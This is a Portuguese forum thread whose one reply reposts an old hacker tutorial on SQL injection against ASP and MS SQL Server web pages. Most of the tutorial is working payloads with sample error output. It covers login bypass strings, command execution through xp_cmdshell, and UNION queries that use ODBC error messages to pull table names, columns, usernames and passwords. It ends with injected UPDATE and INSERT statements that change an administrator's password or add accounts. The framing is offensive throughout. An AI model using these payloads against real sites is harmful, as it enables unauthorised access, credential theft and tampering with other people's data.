Ir para conteúdo
Fórum Script Brasil
  • 0

Script Injection


Ricardo_PF

Pergunta

3 respostass a esta questão

Posts Recomendados

  • 0

/* um artigo legal !!!

=======================================

SQL Injection

Advanced sql injection

Introdução

Nataniel A.K.A < Stinger >

stinger@hackermail.com

http://www.windefense.hpg.com.br**********...*************** * * * *

* * * *

--------------------------------------------------------------------------------

1 - O que é sql injection ?

é um truque para injectar comandos SQL via paginas web , já que qualquer pagina web recebe parametros do usuario e os transmite para o banco de dados .

Imaginemos por exemplo uma pagina web escrita em asp que nos peça o username e a password . O que a pagina web vai fazer é enviar o username e a password para o banco de dados e este verificar se é um user ou password validos !

Então porque não inserimos codigos SQL ? OK ! Isto só não é teoria como é possivel !

2 - O que é preciso ?

Qualquer web browser

3 - Onde eu começo ?

Tente olhar por paginas que posssuam logins , submits , feedback search etc , enfim essencialmente paginas que possuam codigos asp ! Mas nós sabemos que os codigos em asp são interpretados no server ! ok ! tente olhar para o codigo HTML então . Por exemplo :

Vemos aqui codigos delimitados por

e que podem ser exploitados

4 - Que linguagens são vulneraveis ?

Paginas web com ASP, JSP, CGI, ou PHP , tente por exemplo observar esta pagina http://windefense/index.asp?id=10

5 - Como testar se uma pagina é vulneravel ?

Tente começando com um simples truque em um campo que receba parametros ex : username

Password

coloque :

hi' or 1=1--

Podemos testar assim :

username: hi' or 1=1--

Password: hi' or 1=1--

Ou com a seguinte URL

http://windefense/index.asp?id=hi' or 1=1--

Nós tinhamos visto antes um form vulneravel , ele segue abaixo :

Bem podemos fazer umas trocas para nossos intuitos !( Veja o html da pagina alvo e faça alterações e depois salve)

http://windefense/Search/search.asp method=post>

Se der certo podemos nos logar sem qualquer username ou password !

6 - Como executar comandos remotos com SQL injection ?

Se podemos injectar comandos sql então estamos aptos a correr comandos com boas permissoes , e note que o MS SQLserver corre por default com privilegios de sistema ! ( Equivalente a privilegios de administrador )

Observe por exemplo a seguinte string que nos permite executar comandos no server :

master..xp_cmdshell

Podemos tentar uma execução de comando :

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Tente usar a cota dupla(") ou a simples(') se não der certo

7 - Caçando dados do banco de dados utilizando ODBC error message

Nós podemos manipular os erros ODBC do banco de dados para trazer dados do banco de dados observe por exemplo esta URL normal :

http://windefense/index.asp?id=10

nós podemos tentar unir ( UNION ) o valor '10' com outra string do banco de dados , observe :

http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

A tabela INFORMATION_SCHEMA.TABLES contem informações sobre todas as tabelas do sistema com a string TABLE_NAME podemos receber informações sobre nomes de tabelas no banco de dados .

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

Retorna o nome da primeira tabela do banco de dados . Se o sql server tenta converter a string UNION para um integer ocorre o erro seguinte :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5

Algo nos interessa aqui . Podemos ver que provocamos um erro e retornamos o nome da 1ª tabela do banco de dados que é "table1" . Para obter o nome da proxima tabela inserimos a seguinte query :

http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Ou procurar dados com uma query , inserindo um comando sql de comparação (LIKE) :

http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Onde o output é o seguinte :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5

Neste caso nos retornamos com a string , '%25login%25' na tabela escolhida (TABLE_NAME) , contendo a string "login" que retornou o login do admin que é "admin_login".

Podemos mapear tabelas com a seguinte string :

INFORMATION_SCHEMA.COLUMNS

http://windefense/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5

Agora nós podemos usar a string NOT IN () para trazer o nome da proxima coluna :

http://windefense/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5

Agora se raciocinarmos um pouco podemos obter outras coisinhas importantes como nomes colunas de id's , passwords , detalhes etc com a seguinte query :

http://windefense/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][sql Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5

Como retornar dados :

Vimos acima que podemos identificar nomes de tabelas , colunas etc . Agora o bom disso é que podemos utilizar a mesma tecnica para retornar dados da mesma , como por exemplo retornar o 1º "login_name" da tabela "admin_login" com a seguinte query :

http://windefense/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5

Já conhecemos o login_name que é "neo" agora precisamos conhecer a password com a sequinte query

http://windefense/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5

Podemos ver realmente que retornamos aqui uma password "m4trix" para um user "neo" .

Como retornar passwords com valor numerico !

Um problema com este tipo de retorno é que valores numericos não podem ser retornado via uma query do tipo :

http://windefense/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Se o usuario possui uma password do tipo : "31173" provavelmente teriamos no nosso browser o seguinte : "Page Not Found"

Para resolver este problema nos podemos juntar uma string numerica com alguns alfabetos :

http://windefense/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Simplesmente usamos o sinal de (+) para juntar a password com qualquer texto que nós queremos (Codigo ASCII para '+' = 0x2b). Nós juntamos com um espaço(%20) a palavra morpheus . E manualmente chamando a função convert() para converter '31173 morpheus' dentro de um integer, o servidor sql retorna o seguinte erro :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5

Podemos ver que a password "31173" é retornada antes da string "morpheus"

Updates , e inserção de dados !

Se podemos retornar dados de uma tabela certamente que podemos updatear(actualizar) e inserir dados dentro do banco de dados :

Imaginemos o seguinte cenario podemos trocar usernames , passwords , inserir novos users , novas passwords etc .

Tentemos trocar a password para o user "neo" :

UPDATE = Comando sql para actualizar dados

http://windefense/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'-- Agora o user "neo" tem uma password com o nome "newpas5"

INSERT = Comando sql para inserir dados

Para inserir dados na database usamos a seguinte query :

http://windefense/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Podemos notar aqui novos valores da tabela admin_login como : ('login_id', 'login_name', 'password', 'details') para valores de : 666,'neo2','newpas5','NA'

Podemos nos logar como user "neo" e pass "newpas5"

conclusão :

Este txt não foi nada lá dos melhores mas se termos em conta que ele foi apenas uma introdução já serve como petisco .

Links e referencias :

rfp - o homem que hackeou o forum da packetstorm

http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

como obter informações de erros ODBC

http://www.blackhat.com/presentations/win-...1Litchfield.doc

Um bom sumario de sqlinjection em sql servers

http://www.owasp.org/asac/input_validation/sql.shtml

A empresa sul-africana sensepost fala sobre sql injection

http://www.sensepost.com/misc/SQLinsertion.htm

Link para o comentário
Compartilhar em outros sites

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,1k
    • Posts
      651,8k
×
×
  • Criar Novo...